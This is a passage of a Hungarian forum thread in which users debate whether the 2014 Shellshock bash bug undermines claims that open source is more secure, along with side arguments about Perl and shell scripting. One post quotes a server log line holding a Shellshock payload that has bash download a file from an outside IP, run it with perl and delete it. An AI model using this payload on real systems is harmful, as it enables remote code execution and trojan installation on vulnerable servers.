- Mozilla Firefox
- Aliexpress tapasztalatok
- OpenWRT topic
- A személyre szabott reklám lehet a streaming következő slágere
- Linux programok topic - (Milyen program, ami..? Linux verzio)
- Megrendszabályozza a Pornhubot az EU
- Otthoni hálózat és internet megosztás
- Tarr Kft. kábeltv, internet, telefon
- SkyShowtime
- Van, amit nehéz lett megtalálni a Google keresőjével
Új hozzászólás Aktív témák
-
-
-
-
válasz Tassadar83 #48 üzenetére
mondj egy nagyobb, ismertebb linux disztrót, ami mögött nem áll profitorientált, minőségben érdekelt vállalkozás!
(#45) jacint78: rég itt vannak, csak nem figyelsz.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
"azt azért nem feltételezem, hogy senkinek nem is tűnt fel": de, nyugodtan tételezd fel. azt, hogy olyan sormintával tesztelje valaki a shellt, ennyire szélsőséges helyzetben, amiért 5-6 éve még ascii-art kick járt ircen, az teljesen elborult és ritka eset.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
válasz Tassadar83 #55 üzenetére
"Nézd, a Microsoft fejlesztő és QA csoportjait nem igazán lehet egy lapon említeni a Suse-val, Ubuntu-val vagy akár a RedHat-al.": ez tény. ez persze nem jó hír az ms-nek.
egyébként az utóbbi időszakban a legnagyobb linux kernel hozzájáruló az ms volt.
"Másrészt a teljes kódbázist ők írták, ellentétben a fenti disztribekkel.": meg amikor nem. például a korábbi windowsok hálózati rendszere hp cucc volt. meg ki tudja, mikor mit nyúlnak a nyílt forrásból, hiszen zártak, nem lehet kideríteni.
(#56) Glenda: "Debian. Gentoo. Arch.": debianhoz vehetsz supportot a hp-től. ja, szerintem is egy sufni bt.
Gentoot nem tudom, mennyire használnak az üzleti életben, arch meg nem egy nagy disztró. úgyhogy háromból kettő nem ellenpélda a kijelentésemre, egyet meg adjunk döntetlenre.Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
egyébként meg azt gondolom, hogy ez a bug senkit sem fog átmozgatni a másik oldalra. aki eddig opensource-ot használt, ezután is azt fog, aki meg zártat, az meg azt.
úgyhogy minden ide írt hozzászólás bizonyos mértékig tekinthető falra hányt borsónak. de legalább lenne benne alkohol...
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
szerinted az opensource-nek ez az egyetlen előnye, hogy bele lehet nézni?
kilométeres listája van az opensource előnyeinek, de most egy ótvar cisco switchet piszkálok, legyél meg az előnyök listája nélkül.(#60) VaniliásRönk: én nem mondtam, hogy ne beszélj róla.
[ Szerkesztve ]
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
-
-
válasz beleszólok #96 üzenetére
valóban, így utólag utánakeresve csak az "egyik" legnagyobb volt.
ettől még a mondandóm lényege nem csorbult.Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
-
válasz beleszólok #114 üzenetére
azok után, hogy írtak már http szervert postscriptben, nem csodálkoznék semmin.
de a hosszú bash script szerintem nem probléma.Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
válasz beleszólok #117 üzenetére
a perl az kifejezetten és hatványozottan nem alkalmas "tényleges tevékenységek" leprogramozására. az egy kicsit túldimenzionált jelentéskészítő. aki pedig azt a szintaktikát kitalálta, annak rég le kellett volna jönni az anyagról.
a python meg a ruby sem alkalmas erre, mert normális unixon nincs is alapértelmezésben. mondjuk a perl sem, de az más tészta.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
válasz proci985 #118 üzenetére
"teny, hogy az open source gyakorlatilag harom fazison ment at": mi a tény meg milyen fázisokon ment át?
"Admin feladatokra ezek nagyon jól használhatóak.": admin feladatokra kiválóan használható a shell.
"VMS-en kívül még nem találkoztam olyan _op.rendszerrel_": pedig a linuxokon is csak egy pár éve betegség az alapértelmezett perl. debianon a default alkalmazás néküli telepítéskor nem is rakja fel, csak néhány agybeteg csomagoló perl nélkül nem tudott legyártani alap konfigokat, így felhúzza egy-két app. ideje lenne már a debianosok között is szétcsapni, jó alaposan, mert kezdik ők is elfelejteni, hogy miről szól ez az egész.vms-en pedig komplett levelezőrendszereket lehetett írni dcl-ben, úgyhogy oda nem is kell a perl. egyébként windowson sincs
(#121) ddekany: "Mondhatjuk, hogy ki lehet ismerni, csak ezek normális nyelvben eleve fel sem merülnek mint gond.": hát ja, 20 év után belefutottunk az első komoly shell hibába, össze is dőlt a világ.
"a világ mozog előre, kivéve ezt, mert ez és holdudvara szent.": a unix pedig 45 éve hatékonyan végzi a dolgát. a unixnak köszönheted, hogy van választási lehetőséged. a unixnak köszönheted, hogy kicsit megcibálta a monopolisztikus törekvéseken dolgozók bajszát, így az árak elfogadhatók maradtak.Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
74.201.85.77 - - [26/Sep/2014:15:07:53 +0200] "GET /test-cgi/test.sh HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\""
ilyenek vannak a logban... jó ez a perl, már trójait is tudnak benne írni.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
-
válasz proci985 #128 üzenetére
"a peer review kritikus rendszerekbe nem eleg mint minosegellenorzesi process.": és tudsz olyat, ami elég?
egyébként attól, hogy te láttál pár cikket, ami ugyanazt mondja, még nem tény. szerintem meg az opensource jelentése semmit sem változott az idők során, max. annyi történt, hogy ma már nagy cégeknél is felmerült, hogy lehetne kezdeni vele valamit, akár alkalmazni, akár pénzt keresni vele.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
-
ha ez:
$ENV{'PGDATABASE'} = $db if $db && !$ENV{'PGDATABASE'};
neked konzisztens, akkor további jó röhögést."A bash úgy krix-krax, hogy még elég buta is.": az én oldalamról nézve viszont: a perl enyhén szólva túlnőtt az eredeti céljain.
[ Szerkesztve ]
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
válasz proci985 #135 üzenetére
az mcdc max. jobb lehet, mint a peer review, de jól láthatóan nem elég, mint azt az élet mutatja.
a top impact faktoros folyóiratok meg max. egyetérthetnek valamiben, attól az még nem lesz tény. pláne, ha közgazdászok értenek egyet valamiben. én anno elmagyaráztam az opensource dolgot egy magas polcra ültetett közgazdásznak, a válasza nem idézhető.
(#136) beleszólok válasza: fork bombával elég sok gépet meg lehet fektetni, shell-ben is, bash-ben is. mivel a perl bonyolultabb, feltételezem, hogy ott ennél sokkal cifrább dolgokat is meg lehet csinálni, ha az a cél, hogy felborítsd a gépet.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
azt az architektet, ahol unit teszt előtt commitolni lehet, el kell zavarni.
"Magam részéről úgy látom, hogy ezzel a mostani sérülékenységgel dőlt meg az opensource feltételezett előnye": ez szemészeti probléma lesz, az opensource-nak nem egy előnye volt és az nem dőlt meg.
de mondjuk tegyük fel három másodpercre, hogy igazad van. az opensource nem jó, a closed source jó. és akkor abban az osx-ben, amiben szintén lyukas bash van, mi a helyzet? ők miért nem javították ki?
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
válasz beleszólok #140 üzenetére
az egész topic arról kezd szólni, hogy az opensource rosszabb, mint a zárt. többek között: (#55) Tassadar83 "Nézd, a Microsoft fejlesztő és QA csoportjait nem igazán lehet egy lapon említeni a Suse-val, Ubuntu-val vagy akár a RedHat-al."
miközben semmi bizonyíték arra, hogy a zárt forrású cuccok a kifogásolt kérdésekben jobbak lennének. a statisztikák alapján meg egyértelmű, hogy nagyságrendekkel rosszabb a zárt forrás.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
válasz beleszólok #143 üzenetére
"Azért lásd be": azért lásd be te. pont ugyanolyan érvelés. "Ha valakit jól megfizetnek, az valószínűleg jobb minőségű kódot készít, mint az, aki merőben hobbiból csinálja.": valószínűleg igen, gyakorlatilag meg nem. egyébként valószínűleg sem. a nyílt forrásban nincs határidő, nincs főnök, aki beleugat, addig csiszolod a kódodat, amíg akarod. nincs nyomás. és ráadásul nincs sunnyogási lehetőség sem, mert nyílt a forrás. ezek közül egyik sem igaz a kereskedelmi programokra. mitől is lenne jobb?
az sem igaz, hogy mindenki belebabrálhat a nyílt forrásba, a nyílt cuccoknál a hivatalos repókba nem irogathat bárki. annak a kódját fogadják be, aki már bizonyított.
"Legalábbis jobban odafigyel rá, mert félti a jól fizető munkahelyét.": amikor már a sokadik nap túlórázik, a sokadik projekt határidő közeledik úgy, hogy csak zuhanyozni jár haza, akkor nem figyel már arra, hogy mit ad ki a kezéből. eltűnik a tömegben. az apple filmben is megdícsért jobs egy fickót, aki több napja programozott már egyhuzamban. idióta. ezt egyébként a normálisabb cégek kezdik felismerni és odafigyelni rá. ráadásul ha elbarmolta, felmond, két nap alatt talál másik jól fizető állást, mert programozókból hiány van.
"Egyébként meg csak azt látom, hogy eddig a csapból is az folyt, hogy az open source biztonságosabb, mert..., most meg már sokadszor derül ki, hogy nem biztonságosabb.": azt a hibát követitek el, hogy két bug miatt most hirtelen az összes nyílt forrás gagyi lett? francokat.
de a statisztika, amit hosszabb ideje jegyeznek, azt mutatja, hogy az opensource-ban kevesebb a bug.
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
válasz buherton #146 üzenetére
én annak nem látom értelmét, hogyha van egy unit teszt infrastruktúra kiépítve, akkor ne elsőnek, hanem sokadiknak használják. gépi meló, ingyen van.
az más kérdés, ha nincs. persze ez is lehetne az az eset, amikor elzavarják a vezető programozót
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
válasz beleszólok #158 üzenetére
"Egy open source projektbe én is beszállhatnék bármikor, jó eséllyel óriási szemétdombot hagyva magam után.": azt te csak hiszed, hogy beszállhatnál, ha szemétdombot hagynál magad után.
"De az esélye megvan.": matematikailag.
"Az utolsó kérdésedre: ha csak a két utolsó, nagy reklámot kapott biztonsági hibát nézem, már ott tartunk, hogy nem feltétlenül rosszabbak, de egy szóval sem mondhatod, hogy bármilyen előnye lenne az open source szoftvereknek biztonság terén, sőt...": még mindig ott tartunk, hogy 20 év alatt kettő bug kapott akkora nyilvánosságot, mint amekkorát az ms nagyjából minden patch kedden százasával javít, és akkor az opensource rossz, a zárt meg jó?
ráadásul emlegeted (dicséred?) az aix-et, ami akár jó gondolat is lehetne, hiszen anno átnyomták a c2-es biztonsági szint ellenőrzésen, csak volt benne egy akkora bug, amihez képest a heartbleed meg ez kismiska. akkor az aix se jó?
"Tökéletesen látszik, hogy ugyanúgy rejtve maradnak durva hibák a nyílt forrású rendszerekben is": nem maradnak rejtve. ott a forrás, meg lehet nézni. ennyire elborult törésre senki nem gondolt.
"Kíváncsi lennék, az elmúlt évek során hány web szerver eshetett áldozatául": iis-t pl. elég keveset törnek. ja, mert nincs belőle...
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
"most magyarázkodnia kéne a... kinek is?": majd felbérelik azt a fickót, aki az ms-nél hetente magyarázkodik, annak úgyis nagy rutinja van a kérdésben...
"ki a felelős ilyen helyzetben?":. mazochista vagyok, egyszer elolvastam az ms eula-t. két dolog van benne:
1. állítják, hogy az ms egyszer látott egy gépet, amin az adott szoftver volt, hogy jól működött
2. az adathordozó hibája esetén az adathordozót cserélik.
na, ennyi felelősséget a linuxokért is bátran lehet vállalni. csak nem fizetek közben annyit."ki fog supportot adni, amíg nincs minden tesztelve / patchelve?": miért, ms supportot is adnak...
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
-
válasz beleszólok #178 üzenetére
van egy ötletem: vedd le...
Egy átlagos héten négy hétfő és egy péntek van (C) Diabolis
Új hozzászólás Aktív témák
- Samsung Galaxy Watch (Tizen és Wear OS) ingyenes számlapok, kupon kódok
- Milyen CPU léghűtést vegyek?
- Hobby elektronika
- Stellar Blade
- Mozilla Firefox
- Székesfehérvár és környéke adok-veszek-beszélgetek
- Vezeték nélküli fülhallgatók
- OLED TV topic
- Kerékpárosok, bringások ide!
- Autós topik látogatók beszélgetős, offolós topikja
- További aktív témák...